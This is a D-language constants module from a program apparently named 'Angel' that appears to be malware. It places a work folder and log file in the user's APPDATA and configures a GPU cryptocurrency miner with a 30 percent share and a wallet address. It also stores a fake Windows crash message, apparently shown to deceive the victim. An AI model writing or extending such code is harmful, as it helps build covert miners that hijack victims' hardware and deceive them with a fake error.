module angel.utils.constants; // Internal imports // External imports import std.stdio; import std.process; import std.Path; class Constants { public static string appdata; public static string local_appdata; public static string workdir; public static string logFilePath; static this() { appdata = environment.get("APPDATA"); local_appdata = environment.get("LOCALAPPDATA"); workdir = buildPath(appdata, "Angel"); logFilePath = buildPath(workdir, "angel.log"); } struct Address { string addr; } struct Coin { int percentage = 30; string source = "gpu"; string addr; } struct Errmsg { string msg = "The exception unknown software exception (0x0000409) occurred in the application at location 0x7FFDF3B6A3C.\n\nClick on OK to terminate the program"; } }